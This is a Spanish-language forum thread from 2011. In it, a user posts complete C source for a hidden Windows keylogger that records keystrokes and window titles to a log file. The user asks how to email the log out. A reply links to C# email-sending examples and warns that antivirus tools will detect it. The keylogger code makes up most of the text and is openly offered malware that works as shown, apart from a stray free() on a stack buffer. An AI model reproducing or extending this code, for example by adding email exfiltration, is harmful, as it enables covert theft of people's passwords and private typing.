Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: misterioy en 2 Octubre 2011, 01:55 am



Título: Enviar Log al Email
Publicado por: misterioy en 2 Octubre 2011, 01:55 am
Buenas, les cuento
Encontre un codigo de un Keylogger que al parecer anda perfecto.
Guarda el Log en un TXT. Ahora lo que necesito es que lo que haya adentro del TXT se envie a un Email. Les dejo el codigo que encontre del Keylogger.

Código:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

#define OK -32767

int main() {
HWND ventanaa=GetForegroundWindow();
ShowWindow(ventanaa,SW_HIDE);
FILE *log;
HWND ventana;   
time_t ltime;
int tecla=0;
int cont=0;
char TVentana[500] = "";                     
char Teclas[10240]=""; //      0  1      2          3          4  5          6  7  8              9       10
char simbol[256][15] =/*0*/  {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
/*1*/      "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
/*2*/      "","","","","","","[Esc]","","","",
/*3*/      ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
/*4*/      "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
/*5*/      "3","4","5","6","7","8","9","","","",
/*6*/      "","","","","a","b","c","d","e","f",
/*7*/      "g","h","i","j","k","l","m","n","o","p",
/*8*/      "q","r","s","t","u","v","w","x","y","z",
/*9*/      "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
/*10*/     "4","5","6","7","8","9","*","+"," ","-",".",
/*11*/     "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
/*12*/     "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
/*13*/     " "," "," "," "," "," "," "," "," "," "," ",
/*14*/     " "," ","[Bloq Num]"," "," "," "," "," "," ",
/*15*/     " "," "," "," "," "," "," "," "," ","[Shift-I]",
/*16*/     "[Shift-D]"," "," "," "," "," "," "," "," "," ",
/*17*/     " "," "," "," "," "," "," "," "," "," ",
/*18*/     " "," "," "," "," "," "," ",",","-",".",
/*19*/     " "," "," "," "," "," "," "," "," ",
/*20*/     " "," "," "," "," "," "," "," "," "," "," ",
/*21*/     " "," "," "," "," "," "," "," ","'","\\",
/*22*/     "¡","´" };

log=fopen("log.log","a");
fprintf(log,"\n/******************************/");
fprintf(log,"\n/* [*]KeyLoGuer   */");
fprintf(log,"\n/* [*]Iniciando...OK ");
fprintf(log,"\n/******************************/");
fclose(log);

ventana=GetForegroundWindow();

while(1) {
if((GetForegroundWindow()!=ventana) || (cont==850)){
if(strlen(TVentana)>0 && strlen(Teclas)>0) {
time(&ltime);
ctime(&ltime);

log=fopen("log.log","a");
fprintf(log,"\n\n[*] Fecha: %s",ctime(&ltime));
fprintf(log,"[*] Ventana: %s ",TVentana);
fprintf(log,"\n[*] Texto: %s",Teclas);
fprintf(log,"\n ");
fprintf(log,"\n/******************************/\n");
fclose(log);

free(Teclas);
strcpy(Teclas,"");
cont = 0;
}
ventana=GetForegroundWindow();
}
else {
GetWindowText(ventana,TVentana,500);
}
for(tecla=4;tecla<256;tecla++) {
if (GetAsyncKeyState(tecla)==OK) {
strcat(Teclas,simbol[tecla]);
printf(" %s \n" ,simbol[tecla]);
cont++;
}
}
}

}

Espero que me puedan ayudar!

Gracias


Título: Re: Enviar Log al Email
Publicado por: skapunky en 2 Octubre 2011, 02:03 am
Aquí tienes un ejemplo en C#, simplemente toma la idea y hazlo en el proyecto que has cogido de algún sitio. Por cierto nada de eso te servirá, los antivirus te lo detectaran como el leon los ciervos.

Para coger la idea de como funciona un keylogger te va perfecto, pero si tu idea es reutilizar el codigo no te va a salir bien la idea.

Ejemplo en C# (http://www.eggheadcafe.com/microsoft/Csharp/35597878/enviar-archivo-adjunto-por-correo.aspx)

Por otro lado, si buscas en google encontrarás ejemplo: Ejemplo busqueda (http://www.google.es/#sclient=psy-ab&hl=es&source=hp&q=enviar+email+en+C&pbx=1&oq=enviar+email+en+C&aq=f&aqi=g1g-v3&aql=&gs_sm=e&gs_upl=8595l12871l0l13059l17l15l0l3l3l1l298l2750l0.3.9l15l0&bav=on.2,or.r_gc.r_pw.,cf.osb&fp=26c27002193fb9a&biw=1440&bih=719)